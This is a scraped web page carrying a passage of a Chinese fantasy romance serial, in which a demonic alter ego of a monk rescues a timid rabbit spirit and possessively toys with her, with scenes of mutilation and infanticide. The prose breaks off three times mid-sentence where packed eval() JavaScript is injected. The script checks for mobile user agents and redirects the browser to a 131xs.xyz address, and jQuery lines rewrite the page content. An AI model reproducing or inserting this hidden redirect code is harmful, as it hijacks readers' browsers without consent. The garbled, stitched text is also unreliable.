l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282022|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迸发过如此强烈的杀意,禁制似在松动,但他已经失去了去在意去镇压的气力。 越来越多不属于他原本意识的念头占据了脑海,眼尾浮出细鳞一般的蓝光,瞳仁出现一道金色的裂缝,破开虹膜,危险如兽。 他的气息也开始发生变化,庞大的妖息涤荡开,周遭都如是他铺展开的域界一般晦暗。 一些血雾从域界中弥漫开,偷跟的妖毫无逃离能力地化为了血雾。 再次出来的裴息尘眸底赤红阴冷,息尘阻挠他出来暂且不提。 他的小兔,被人抢走了。 是的,他的小兔。 裴息尘一直如此认定。 他凭着玉扶的气息,一路杀,一路寻。 沉寂许久的凶剑破开封印,从储物袋中飞出。 * 此时抬着玉扶的轿辇,已从迎亲街道入了蛮虎所在的城主府。 说是城主府,其实更像是一个石头堡垒,黑沉沉的,偏又挂着许多的红绸。 比起喜气,更多的反而是压抑。 玉扶满耳都是各种妖的饮酒和吃肉肆笑声,她被推了一把,盖头被掀开。 “兔妖,怎么是兔妖?” “城主今日娶的不是一花妖吗?” “我等岂不是要重新作赌了?” “这是今日城中传的兔妖?” “城主真乃神速也,这般快就将兔妖也收入囊中了!” …… 种种恭维中,蛮虎妖的面色好了许多,兔妖便兔妖,总之都逃不掉。 他的大掌正要抚上玉扶的腰,玉扶积攒了一路的气力倏地爆发,她变得巨大,周遭的石头也在顷刻间被无相石吸引,重新组合。 玉扶就如一被裹着的巨大圆球,滚到哪里,就破坏到哪里。 城主府的堡垒崩塌,不少赴宴的妖被玉扶压得四散奔逃。 但这种压倒性的胜利也就一瞬,玉扶体内的灵力凝滞了,一动,那些没散的毒素直往她骨缝里钻,难受死了。 而外头的各妖也反应过来,一掌一掌,一刀一刀劈砍着她。 玉扶身形维持不住巨大化地缩小,但紧裹着自身的石球仍有一层楼那样高,虽然很窝囊,可多活一会是一会。 足有一刻钟,石球还是被越剥越小。 恐怖的威胁近在咫尺。 她听到蛮虎妖打雷一样的声音,她惹怒了他,他要剥她的皮做围脖,还要将她的肉与众妖分食…… 玉扶努力憋了憋,企图将让她难受没有力气的毒素逼出来,这样她就能在死前,再给这恶妖一个大嘴巴子。 然,不知为何,外头渐渐没了击打她石壁的动静,只有一些如风刮过的声响,快得都捕捉不到。 那些谩骂威胁都不见了,有人用手敲击她龟壳一样的石壁。 “阿扶,我的小兔子,出来吧。” 慵懒拉长的语调,绝不是息尘的口气,可于现在的玉扶来说,就是中邪了的息尘,也是天使。 石壁自发剥落,又在一瞬感知到强大的妖息,霎时结实地裹上了。 这最紧实的一层是无相石本体,快得就如同她的心意。 虽只有一瞬的感知,可也足以玉扶发现这次息尘中邪的程度加深了不止一点。 她竟然从息尘的身上感知到了浓烈的妖息,还是极为强大的那种大妖外放才有的妖息。 玉扶不动了,息尘就算是中邪,就算是身体里还有一个他,那他也是人族不是吗? 怎么会与她是同类啊? 玉扶想不明白,决定晕过去。 裴息尘最后只捡起了晕过去的兔子:“怂兔子。” 他将玉扶塞入怀中,手中凶剑发出一声嗡鸣,没杀够的兴奋。 狼藉一片的城主府区域,只有一具一具妖修的尸体,哦,还有一个活的。 蛮虎妖,妖狱城主。 他的四肢被削,口舌被堵,但还活着。 只有他活着,这座城的禁制才会还在,才会没有妖能逃走。 木妖,花妖—— 裴息尘勾起残酷的笑,又骂一声“废物”。 骂的息尘,真是当佛修当傻了,连妖的当都会上,甚至在被围攻之时,还愚蠢地迟疑了。 不管是妖还是人,不听话的,就该都杀了。 玉扶并没有晕很久,但当她醒时,她能更加清晰地感觉到,她不是在做梦,满满煞气的妖息是从裴息尘身上散出的也没错。 而且,还是她最怕的种类,滑溜溜,冷冰冰的蛇。 他的手抚在玉扶的脊背。 玉扶想抖,可又不敢抖,她再次推翻了裴息尘不吃肉的揣测,蛇的话,是吃兔子的吧,还是能一口吞那种。 “阿扶,不要装睡了。” 又是那种懒洋洋低哑的嗓音,玉扶不觉欣赏,只觉得好危险。 然后,她就乖乖地醒过来了。 但息尘显然还不满足,手指推了推玉扶,道:“变回来,让我看看你。” 比起玉扶的原形,裴息尘更喜欢玉扶当他的面化形,他知晓的,这只又怂又有色心的兔子,对息尘怀的什么心思。 她想着法地让息尘适应她的化形,也只有在害怕和虚弱时,才会变回兔子。 既如此,他偏要抢过来,让她也在他的面前习惯化形,习惯不害怕他。 玉扶没法,只能乖乖地化形,但她被他满是煞气的妖息影响,怕得忘了先滚下去了。 以至她竟坐在他身上化了形,她腿软得要下去,后腰被掌住,裴息尘捏起她的下颌,低低地笑:“阿扶,我的乖小兔。” 玉扶被迫昂头,这时才清晰留意到他的形容,他的发好乱,甚至还有血迹,可他又根本不管地向着她压下脸,发也随之向她倾来。 乌黑乌黑的,还带着些微的弧度,映着他的脸,令人窒息的秾丽。 玉扶在这一瞬,无比深刻地肯定,他是男妖精,只有妖才会漂亮得这样一点圣洁感没有。 也只有妖才会没有羞耻心。 他用他的鼻尖碰她,用额头触她,还用唇舔她。 又是眼尾的地方。 “看来这次没有吓到哭。”裴息尘舌尖卷过玉扶的气息缩回薄唇中。 但那舌也太灵活了些,在玉扶的盯视下,又探出一点地在下唇扫了一圈。 极快。 快得玉扶开始怀疑自己的眼睛,那好像不是人才有的舌。 她身子不受控地软下去,中邪息尘的出现,每次都能给她带来不一样的恐惧。 然而,也是这一软身,她的视线也落到了他的身上,都是各种伤口,甚至还有撕扯的痕迹,是牙齿锋利的妖留下的。 裴息尘顺着她的视线,又托玉扶一把地令她与自己靠近,眼神挑剔,语调也阴阳怪气的:“都是“他”受的伤,没用的废物。” “阿扶,你现在心疼的是“他”,还是我?” 他箍着玉扶的力道在收紧,好似只要她说一句不顺心的话,就会咬她一口。 玉扶被问懵了,认为裴息尘有病,管她心疼谁,这不是同一具身体吗? 她的神情太好读懂,裴息尘偏不喜欢这种混为一谈的看待:“他是他,我是我,别把我同废物相同并论。” “下去。” 裴息尘松开了玉扶。 他生气了,玉扶肯定。 所以她下去得极快,极灵活,泥鳅一样就要滑离。 裴息尘又不爽快了,眼利地一拉一带,将玉扶重新拉回,他也往身后的废墟一样的墙体靠下。 玉扶不得不双手撑住了他的胸膛坐稳。 裴息尘的手带力道地覆在她手上:“色兔子,你到底知不知道是谁救了你?” “给我包扎。” 他压下的眼,带上了威胁。 玉扶本也没决定不管他,不管怎么说这都是息尘的身体呢,而且她也不是没良心的兔子,“唔”一声,算是答应了。 眼虚虚上抬,飞快扫一眼,才低着头嗫嚅道:“你得起来,衣服也脱了,我才好看你都伤在了哪,再处理。” 裴息尘盯着玉扶,慢慢露出一个果然如此的笑,干脆地带上玉扶几个闪身,进入了一个溶洞中。 洞中雾气氤氲,有地泉。 裴息尘放下她,就开始边走边脱衣。 修长的形体,精悍的肩背,长袍布料顺着肌肉纹理的走势滑落—— 内里分明还有一层,玉扶却已惊得转了身。 她是想看的,毕竟没看过呢,息尘又惯常包的紧。 可是,这是中邪的息尘,他好凶的。 她色心很大,可色胆却很小,又活过一个妖狱危险,玉扶很惜命。 裴息尘入了水,适宜的温度,令他舒服得撑开肩背靠在光滑的石体上,身上的伤也在不自觉地愈合着。 这具身体正在恢复妖性的部分,他坚硬的鳞片和皮肉,也会反应在身躯之上,这些伤其实根本不用包扎。 但扫一眼背着身,怂怂的兔子,心情不太美妙,他止住了伤口的愈合,提声道:“还不过来?” 玉扶身子一颤,眼下妖纹也闪过,抱出一堆的伤药和丹药,有息尘让她买的,也有她从山上带下来的。 她低着头,不让自己多看地将东西放在了裴息尘可以拿到的距离。 想用这些药打发他? 几乎不给玉扶反应的,裴息尘在她放下一瞬,拉住了她的臂。 哗啦啦的破水声,玉扶紧张得闭了眼:“呜呜呜,你别拉我,我会忍不住的,这里有药,你自己吃了就能好的。” 裴息尘懂了,这色兔子是想看又不敢看,叫他脱衣服时候的胆子去哪里了? “不是你叫我脱的?你得给我上药。”裴息尘并不放开玉扶,甚至沿着池边,更靠近了玉扶一点。 听着像是要上来的动静,玉扶焦急反驳:“我也没让你全脱,哪有上药全脱的人!” “你不知羞耻!” 没羞耻的兔子说他没羞耻,裴息尘都气笑了:“你不是妖吗?我也是妖,妖不都这样。” 这是玉扶常说的话“我是妖嘛,我控制不住自己”,“我是妖嘛,妖都这样”,但听到这话从裴息尘的口中出来,玉扶还是吓了一跳,他也是妖? 他真的是妖? 她真的没有感觉错,玉扶再不能自欺欺人地骗自己了,她好大一个佛子,原来身体里还有个妖。 “你这什么表情?”裴息尘强掰过她的脸,仔细观察:“阿扶,你是惊喜坏了?” “你喜欢的佛子身体里,有一半的妖血,你难道不该感到开心吗?” “你何必总想着“他”呢,得到我也是一样的。” 他松开玉扶,又享受地往池中滑去,蛮虎妖藏着的这个池子很合他的意,他甚至换了个角度,更好地欣赏玉扶,他从她身上感到愉悦,尤其是她那对息尘幻想破灭的神情,他尤为喜欢。 看,佛子并不圣洁,他体内有妖的血脉。 他与她才是更接近的存在。 所以,阿扶,选他吧。 23. 第 23 章 撇息尘笑得越发慵懒肆意,仿佛有无尽的耐心等待猎物的醒悟。 而玉扶脑中打架的小兔子也被他的一番言论勾得又出现,乱糟糟的,一个又一个地出现。 有开心坏了的:“息尘身上有妖的血脉,原来我们很接近。” 又有摇头不认的:“息尘是息尘,裴息尘是裴息尘,他们根本不能按一个人算。” “身体不还是同一个嘛,吃到度过渡情期不就好了?” “师姐们不也是这样找情人的,难道你还想一直留在他身边?” “你不想回山上了?” 一问又一问,玉扶的本体小兔就像是被它们围在了中间,她在摇头,她当然是要回山上的。 可跟同息尘久了,她于妖性之外,又学会了许多她也说不明白的东西,会让她生出一种接受了裴息尘就背叛了息尘的愧疚感来。 但很快又有一小兔诱哄似的劝诫:“你是妖,妖不就是这样快乐就好吗?” “你难道不想借助他快些恢复修为吗?” “你要一直窝窝囊囊到什么时候?” 玉扶像是被骂清醒了似的睁眼,一点一点地摸到了裴息尘的身旁,手心放着一颗对外伤极好的复原丹。 裴息尘一低眼,就能瞧见于眼下几寸远的手,粉玉一般,柔白细嫩,但一直在细细地抖—— 又怂又贪心的色兔子。 裴息尘心下不甚愉快地笑了笑,湿淋淋的手自下抬住了玉扶的手,送至唇边,下颌一低,丹药入口。 玉扶双靥涨红,她要哭了,这人,比她还像妖,吃药就吃药,竟然还舔她手心。 冰冰凉,酥酥麻的,同地泉蒸腾的温度一起,活像是冰火两重。 她“呜”地一声期艾道:“你不要抓着我的手了。” 她甚至只敢说不要抓她手,“舔”之类的词提都不敢提,她的常识与色心在比她还不按常理的妖面前,如见大巫的小巫,含蓄了不知道多少。 裴息尘细细舔去最后一点根本就是他身上落下的水渍,偏眼望向玉扶,她真小,跪坐一团,被打湿的红绫裙隐能透出一些她内里的小腿,也在抖,害怕得可真喜人。 更不想放过她了。 玉扶是侧跪着向息尘递丹药的,刚好将药送到他面前,又避开了看到不该看的,她总是很胆小,很谨慎,即便屈服了,也试探得只进步一点儿,此刻手被抓着,另半身几乎是向着裴息尘相反方向倒的,全靠着另一手撑地支着。 完全是生理性的抖。 若从侧面看的话,她也完全是想要逃离的姿态,是恶霸似的裴息尘拉住了她,可裴息尘偏生就享受着这种拉锯。 她越怕,越惨,他越愉悦。 他喜欢她一边怕,又一边对自己的接近。 有种胜利的美妙感。 看,阿扶也不是非息尘不可的嘛。 他当然会将玉扶照顾得比息尘还好,不过不是现在,他勾手用力,将玉扶带得倒向了他的这一侧,伏着身地同他对视。 “阿扶,上药可不是你这样送一颗药丸就结束的。” “你看都不看我,怎么知晓我身上还有哪些伤?” 他原先抓着玉扶手掌的手,此刻顺着玉扶的倾身,抚向了她的脸颊,嗓调也仿佛被氤氲的热气温过一样稠。 玉扶完全被冲击得失去了声音,她的脑子好像空白的一片,只能俯眼瞧见裴息尘秾丽的容色,湿漉漉的发不断往下淌着水,一滴一滴,落到修韧挺阔的胸膛。 玉扶宛如目眩地昏然,他好妖精啊。 她就从来没有想过这样诱惑息尘,师姐们分明也教过这种手段的。 玉扶觉得自己要晕了,她受到的冲击超过了她的承受能力,沸腾的渡情期热流兴奋得她“嘭”一下变成了兔子,跌入水中。 她总这样,兔子的时候,兴奋想变成人扑倒息尘,人的时候,又怵裴息尘,干脆变成兔子。 咕噜咕噜呛入了好几口水,玉扶觉得自己脑子都清醒多了,然这水可真清啊,怎比在上头看得还清楚啊。 她看见了好白的身体,好结实窄瘦的腰部,好漂亮的流线…… 玉扶这回是真的晕了。 水面上鼓出一连串的泡泡,继而浮起一只小兔。 裴息尘挥开些蒸腾的水雾,捏起飘过来的小兔,嗤道:“没出息。” 他有些不服气地摇了摇她,怎对着息尘都能做梦都扑上去,到他这不是晕就是晕,真信任他不会吃了她? 裴息尘咬牙似的做样往她脖颈处比了比,太小了,下口都没地,还是生吞的好。 玩了一会觉得没趣,才将玉扶送到了池边。 然,晕了的兔子怎么还能这样地有存在感? 她每动一下,裴息尘就瞥一次眼,她不动,他又担心她死了,还是忍不住看一眼。 无法,他换了个面向继续泡池,于池中懒洋洋地探出些尾巴尖,给玉扶翻面烘毛。 玉扶开始觉得冷,但慢慢的又觉得暖,还有什么尖尖软软的东西戳她的肚子,好痒,她下意识地抱起就咬了一口。 裴息尘豁地缩回自己的尾巴,瞳仁被激得竖起,过电一样的酥麻一直传到尾椎骨。 缓过了这劲,他才抬起尾巴于眼前,尾巴尖委屈地垂着,一个浅浅的牙印于鳞片上折射出一些润泽的光,按理,他就算是尾巴尖也不该这么脆皮,但妖性还在恢复的阶段,就连这放出尾巴,都是二百多年来头一遭。 鳞片还没长结实,就被咬了一口。 裴息尘磨了磨牙,身后浮现一个巨大的蛇影,张牙舞爪地对玉扶张开了口,玉扶半分知觉都没有地翻了身。 裴息尘哼气地收回了蛇影,于尾巴尖施了个留存的小法术,他要留着这痕迹,日后寻她讨回来。 尾巴重新入水,哗啦地从水中起身,那些受伤痕迹皆已不见,储物中飞出他要的衣袍,绀宇色的,松散披着,朝玉扶弯身时,逶迤出绮丽贵气的纹路。 玉扶随之落入他怀中。 明明泡了那般久的温泉水,可他身上还是凉的,玉扶不由偷偷耸了鼻。 她其实已经醒一会了,就在不知道咬到了什么崩到牙的时候,她完全不敢睁眼,尤其是那巨大的蛇影,更是吓得她不敢动弹。 有时候她真宁愿自己能多晕一会,但除了起初毒素的影响,后头的晕倒,都不过是暂时性的逃避,根本晕不了多久。 就好比现在,她装的就好累。 她好想动一动,好想离裴息尘远一点,他穿的太少了,身上好凉,他贴得她好紧,她脑中总不受控地回想起于水下见到的腰腹,思维也发散得没有边际…… 她开始想,她是妖嘛,哪有什么背叛不背叛,息尘回来她也会继续喜欢息尘的,她只是暂时被另一个他吸引了一下。 她是妖嘛,控制不住自己,不是很正常。 她主动地动了动,贴了贴裴息尘。 她就跟小暖炉一样,熨帖的很,就是毛贴着皮肉蹭有点痒。 裴息尘初时享受,然后就受不了地将她拎了出来,“醒了就变回来。” “把我当坐骑,可美得你了?”他危险地眯了眯眼,但怒气却是没有的。 玉扶落地就化回了少女,脸蛋飘着些可疑的红晕,一看就不是在想好事。 裴息尘唇角翘了翘地嗤她,色兔子。 外头仍旧是废墟的一片,硕大的月亮,照得整座妖城比玉扶印象中还要破。 她有些不知晓到底发生了什么,她只记得,裴息尘一出现,原先的所有危险就都不见了,她的威胁只剩下了他本身。 如果非要选的话,那她是宁愿承受后者的,裴息尘再怎么样,也只会一口吞了她,不会剥了它皮毛。 “我们去哪?”玉扶几步跟上裴息尘。 “带你去看好戏。” 裴息尘扯出一抹笑,身形很快移动到老远。 玉扶却还在惊讶于他方才的笑,怎么说呢,不是玉扶多次看惯的懒懒的笑,也不是得趣了的笑,而是有些邪气,像是坏蛋的笑。 可他本来就是坏蛋啊。 玉扶只能将其归为是不适应他用和息尘的同一张脸坏蛋笑。 坏蛋在远处直勾勾盯着还不跟上的玉扶。 有些费解,她到底是怎么修炼到化形的? 不强大,也不够妖,是开灵智的时候没受到完整传承吗? 就她随时随地出神的几个瞬息,足够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303443|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多人取她的性命了。 裴息尘有些沉不住气地想过去带她。 可他并不想如息尘一样惯着她,怀里总揣着一只兔子像什么话? 就是因为这样,“他”才会一直不将玉扶将妖看待,笨兔子后来倒是靠化形扳回了一些印象,但很可惜,现在占据这具身体的是他,他也再不会犯之前的错误。 灌醉他,把身体还给息尘,想的倒是美。 裴息尘不期然地想起,在意识又沉入禁制时,玉扶对息尘表的忠心。 真是好的很。 怂兔子就想着去吧,他就在不久前,泡池子时,做了息尘对他做的同样的事——禁锢和限制。 玉扶终于追上了裴息尘,但这时,她发现息尘的笑,坏中又带上了冷。 好可怕啊。 她想了想道:“我会跟上你的,不会再让你等我,真的。” “笨兔子。” 裴息尘对她冷冷地一声,转身继续于残垣断壁中起落。 玉扶不懂自己又哪里惹他了,怎还攻击起妖来了,息尘都是夸她聪明,资质不凡的,怎到了他这儿自己就笨了。 玉扶气不过地在他背后挥了挥拳,才赶紧跟上。 裴息尘并没有行很远,他于妖城最高的一座石塔处停下,其下众妖追逐,目的却一致,最前头逃的狼狈的正是曾欺骗玉扶与息尘的木妖,木妖还拉着一个跑得踉跄的花妖。 玉扶气喘吁吁追上裴息尘,被下头的动静惊得险些栽下去,裴息尘扶了她一把道:“如何,看他们如此,开心吗?” 玉扶怔然一瞬,这才去细细辨清下方不断被追逐的两妖,木妖修为于妖城中并算不上顶尖,但他极其会躲,根须也不知花了多久几乎遍满了这座城的中心位置,有点风吹草动就能第一时间开始逃。 然,这种小伎俩,在群妖的围击中,根须尽断,被逼得连地下都躲不了。 玉扶听见有妖在喊:“跑!还跑!老子将你们根须全断了,栽盆里。” 有妖附和:“对,栽盆里,献给新城主,我们就可自由了!” 新城主?自由? 是抓住他们就可以出城了? 玉扶也来了劲,往下跳,新仇旧恨一起算,她也要换自由。 “你做什么?”裴息尘牢牢拉住了她,但凡他动作再慢一步,这兔子就已经跳下去了。 玉扶下意识道:“息尘,有新城主,我们可以出去了。” 甫一说完,玉扶就意识到不妙,她喊错了。 果然,裴息尘盯来的目光,刹那凝结得要将她冻住。 玉扶补救:“我是说,息尘太容易喊错了,我以后喊你阿裴,可不可以?” 狡猾的兔子,裴息尘不言地盯着她,但冰冷却是化开了一点,似真的在思考可行,他将玉扶从边缘带回来一些,给玉扶机会地道:“喊几声来试试。” “阿裴,”玉扶试探地先喊了一声,观察着裴息尘神色地才又喊一声:“阿裴。” “阿裴。” 玉扶越喊越顺口,嗓音褪去轻软的小心翼翼,清灵的很。 裴息尘的容情终于变得正常,但还没有原谅玉扶,他微眯着眼道:“继续。” “阿裴,阿裴阿裴……” “可以了。”再轻灵听多了也烦,裴息尘手动地闭了玉扶的嘴。 真手动,玉扶的唇被跟鸭子一样地捏住,偏她还不敢当面抗议,只委屈地用眼控诉着。 也是这时,塔下的那些妖,也不知是谁发现了塔上的身影,呼了一声:“城主,新城主在这!” 玉扶眼中控诉转为惊讶。 裴息尘收手,对这些妖的称呼也皱了一下眉,他可没想当他们的城主,他不过是将蛮虎用凶剑钉在了城墙之上,留下追捕木妖与花妖的任务罢了。 玉扶也后知后觉地反应过来,原来阿裴问她“看他们如此,开心吗?”是这个意思啊。 “阿裴,我们可以离开这里了!” 玉扶这次没有喊错,双眸也亮闪闪地盯着裴息尘,里面没有害怕,只有喜悦。 啊,原来让她开心这么简单啊。 裴息尘揉搓着方才捏过她的指腹,冷淡地应道:“嗯。” 24. 第 24 章 玉扶才不管裴息尘的冷淡,兀自开心着。 虽待的不久,可这座城,真的给她留下阴影了。 她差点就嫁了妖,差点被剥了皮,也差点要自爆了。 还好,还好,她没有倒霉到走投无路的地步,每次不是息尘,就是阿裴出现了。 玉扶现在知晓能出去,就连看裴息尘的怨气都少了。 而塔下的呼声也越来越高,是更多妖发现了他们。 也是这时,尖唳的剑鸣倏地从城门处传来,众妖看去,玉扶也看去,还没看清,被息尘扯人了他的遁空之术中。 凶剑没有追上主人,于塔上“咻咻”地飞几圈,生气地抛下钉着的妖躯。 是四肢被削的蛮虎妖。 他们当中根本没有与蛮虎同时期被妖王所囚的妖,皆是后来误入,不断被留下的妖。 也即是说,只要断了蛮虎的最后一口气,这座城的最后束缚也就没有了。 众妖激动得纷纷将自己的武器砍到蛮虎的身上。 而此时的玉扶,已同息尘落到了一处古怪的园子中,玉扶对这座园子有一些印象,木妖就是绑着她来此换出了那一日原本的新娘。 当时她分明有苏醒些意识的,也隐约听入了一些木妖与花妖的谈话,是之后她被换下花妖后,木妖怕她中途醒来,又给她注入了一些毒素,她才更艰难的。 玉扶一想起,便来气,她方才应当也去砍他们几刀,让他们死一起都便宜他们了,既然那般的相互爱重,就应一开始一起自戕。 玉扶好一会才从愤怒的情绪抽离,而也就这么片刻的功夫,裴息尘已将这怪园子的所有洞口禁制毁坏。 他原来是好妖啊! 玉扶惊讶。 但很快,玉扶发现了不对,这个园子太奇怪了,许多发育不全的幼妖,然后冲出囚牢的都是女妖。 她们精神似乎失了常,甫一从被关的洞口出来,又哭又笑,继而四处寻这些什么。 裴息尘带着玉扶于高处俯眼,他眼中有着玉扶看不懂的黑寂,似阴森,又似戏谑,就仿佛是在等着什么好戏开场。 裴息尘倏地垂眼向玉扶,指着一处问:“阿扶,你猜这些母亲是会去带出自己的孩子,还是去杀了自己的孩子?” 他面容盛美惑人,可用玩味的语气问出的话,却恶意阴森至极,玉扶也被他慑住了,脑子锈住了一样转得很慢,她疑惑他的问题,也经不住地思考,却怎么也想不出正确的答案。 她摇头道:“我不知道。” 玉扶认为这些女妖就算为母了,可那些孩子又不是她们自愿生下的,过程中说不定经历了不知怎样的痛苦,玉扶觉得她们应该是不爱自己孩子的。 或许杀了才能重新开始。 只是,若站在孩子的角度看,他们好像也挺无辜,尤其是,有些生长不错,已经开启灵智的幼妖。 玉扶想来想去,摇头后反问裴息尘:“你为什么要来看这些?” 裴息尘:“我好奇,她们是爱多一点,还是恨多一点。” 又是那种懒洋洋,很轻慢不在意的调子。 可真不在意就不会来看这些了。 只见园子中,不断有幼妖被自己的母亲亲手杀死,连开灵智的也不例外,甚至,还有的在食子,企图靠吃来夺回被分走的力量。 “看来是恨多一点。”裴息尘意兴阑珊地转身,同玉扶道:“走吧。” 他自走几步,却不见玉扶跟上,蓦地生出些烦躁。 也是这时,玉扶抬眼,给他指了一处,笑着道:“恨虽然很多很多,可爱也有一点呢。” 裴息尘顺着玉扶手指看去—— 那是一个老妪,这园中的女妖会老成这样,不用想都知是受了生育的影响,她的手掐在一个猫形的幼妖脖颈处,停顿了很久很久,也没有彻底地掐下去。 她似在犹豫挣扎,她恨这个令她变得如此丑陋的生命,可这也是她往后唯一的延续,她的手掐了松,松了又紧,幼妖还以为老妪是在同她玩耍,用毛茸茸的脸颊一直蹭着老妪的手背。 终于,老妪的手松了,将幼妖藏在怀中,避开杀戮,跑出了这个可怕的园子。 “她还是想杀她。”裴息尘并不承认这是爱。 玉扶不服气地哼道:“这已经很不错了。” 没有妖会喜欢自己妖力被孩子夺走,尤其还是这种不是自愿,本身也不强的妖。 能于恨中,仍留着幼妖的性命已是极难得的怜悯与爱了。 “我听说就算是强大的妖,在孕育子嗣的时,也常会有生出吃掉的念头。” 玉扶本意是想令息尘不要对妖的爱啦恨啦,有什么偏见,不管是什么妖都是一样的,可没想却像是触上了裴息尘的什么禁忌,他笑得好冷。 但这种冷意又很快被他的懒怠盖过,玉扶有些摸不着头脑,一时不敢靠他太近,同他隔着些距离地跟着。 倏地,有什么玩意擦着玉扶的发而过,极快极凶,玉扶霎时蹲地抱头,她摸到她的一个绒球揪揪不见了,抬眼望去,罪魁祸首是一把剑。 一把于夜中都泛着熠熠法光的凶剑,剑柄斜纹相拱,中间整块的透色蓝宝石,很漂亮,如果它的剑尖没有顶着她的绒球的话。 再看它停留拦住的人,玉扶气得捶地,一把剑也欺负她,摘了她的绒球去讨好大妖。 玉扶气哼哼地站起来,远远瞪着一妖一剑,她不想和他们一路了。 裴息尘也感受到了凶剑的回来,本也没当回事,直到见到那于剑尖绒绒一团的白球,拾起,扭头去看,第一次体会到了娇气兔子的气性大。 好像有点难办。 气急了是会咬人拼命的。 “我给你插回去?” 裴息尘走近玉扶,询问的语气,笨拙的动作,比划好几下,将绒球直直地固定上去。 绒球掉落。 裴息尘接住,又掰玉扶脸地继续试图固定。 奇怪,真奇怪,平日里见玉扶怎么活泼都牢固的绒球,就是固不回去,他好奇地摆动玉扶的脑袋,观察她的发髻,倏地发现,这绒球竟真没有任何的固定簪钗一类。 终似意识到什么地垂眼,玉扶也恰被他捧起地抬脸,眼睛红得妖性都显出来了,忍着没咬他。 这绒球是玉扶化形的一部分,他的剑削了她的一簇毛,日后她再化为原形的话,她的兔耳边就会丑陋地少一簇毛。 玉扶从来没这样委屈加生气过,尤其他还一点自觉也没有地摆弄她脑袋。 玉扶忍了又忍,还是好气啊,真的好气! 她拍开裴息尘的手,偏头到另一侧,她怕自己忍不住地扑上去咬他。 裴息尘手背被拍,肌骨瞬时红了一片,他垂眼蹙眉,眸色渐浓,色兔子,不止是气性大,力气也不小,无怪是修山神道的。 都是息尘纵出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303444|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脾性。 再这样惯下去岂不是要压到他身上来了。 他敛眸甩了甩手,背身就走,也就几步的距离,余光瞥见玉扶在摸空了的一侧发髻,泫然欲泣,怪可怜的,让人看一眼就生出些愧疚,看一眼又生出些愧疚。 他重新退回,用虎口卡住她的脸抬起,笑得不逊:“气性这么大,是不是要我给你咬一口做补偿?” 玉扶倒想,可她不敢,闷闷地道:“我气会就好了。” “我是生那把剑的气呢。” 真大度,也真是乖巧,这只色兔子就是这样接近佛子的呢,现在这讨好手段用到他身上了。 裴息尘笑了,挺愉悦地用拇指摩挲她的颊靥,再到唇角,剥开点她的唇瓣,“咬吧,我怕你现在不咬,之后偷灌我酒。” 慵慵懒,散漫又坏蛋的笑,拇指也继续剐蹭着玉扶的唇瓣示意她咬。 玉扶腿都软了,他怎么会知晓她同息尘说的话啊。 可再想,又似乎是寻常,毕竟好像就没有他不知道的事,她对息尘偷偷的心思他都知道的一清二楚呢。 玉扶的怒火被心虚浇灭,是真的不想咬了,即便他将手送到她的嘴边。 然而,裴息尘却并不放过她,执意地要她咬,剥开她唇瓣的拇指探得上下齿缝,倏地向上一顶,探入压住了她的舌。 玉扶“呜”地一声咬住,又反应过来地松开,并未在他指节上留下痕迹,只多了些的她唇瓣上留下的水液。 也是这一张一合的动作,裴息尘指腹也紧跟着地被舔了一下、 嗯? 又一下。 裴息尘沉浸在这种感受里,玉扶每退一下,他就更钳住一点,她的下颌皆被他余的手指托住,她的舌不受控地想躲,抵不动,倏地一下,压到了裴息尘的指节之上。 玉扶完全生理性地为避开他的拇指,她没想舔他,可他的手不退出去,她的舌只能躲。 而裴息尘却偏同她作对,跟同着她的舌尖打转,非要压住她的舌。 玉扶浓密眼睫不断地颤,被欺负了似的,挂上星点细珠,娇艳可怜得好像下一刻就要哭了。 裴息尘终于滑出手指,带出点银丝地勾在玉扶的唇角,拉长,也亮晶晶的。 玉扶连忙擦了擦唇,怕了他地往后连退几步。 分明是戒备的几步,却恰让她整个人完完全全地落于裴息尘的打量中,她的化形谈不上多成熟,然她的肌肤就如她没有一丝杂色的毛发一般,雪白雪白,妖域大得过分的月亮下,简直浑身晕了光一样。 真漂亮。 漂亮得他有了饥渴的冲动,光将她抢过来似乎还不够,还想—— 占有。 独他的占有。 整个拇指指腹都是亮晶晶的一层液体,裴息尘毫不嫌弃地于自己唇外抹过,一点非人的舌尖将那晶液舔入。 比眼泪的味道还要好。 他好妖啊,只是为什么一直要用捕猎一样的眼神盯着她。 玉扶头皮都在发麻,即便知晓他和息尘用的是同一具身体,也知晓他并不适应吃肉,可他一边yue一边非要吃肉的印象还是让她很深刻。 玉扶想了想,壮着胆地打消他的食欲:“我没真灌你酒,你别吃我。” 裴息尘不置可否地一笑,朝玉扶走近地弯身:“阿扶,你该知道的,“吃”有很多种。” “不是你想吃掉我吗?” 25. 第 25 章 裴息尘偷换了概念,还换了人。 玉扶只有一次迷迷糊糊中,对息尘说过想吃掉他。 她想的“吃”同息尘理解的“吃”自然是不一样的。 而现在,阿裴在提醒着她想起,也提醒着她也可以吃掉他。 这已不是第一次了,他还曾说,可以给她灵力,还可以想要他。 只是,玉扶对阿裴总是惧更多一些,一些大胆的进步都是今日才有的。 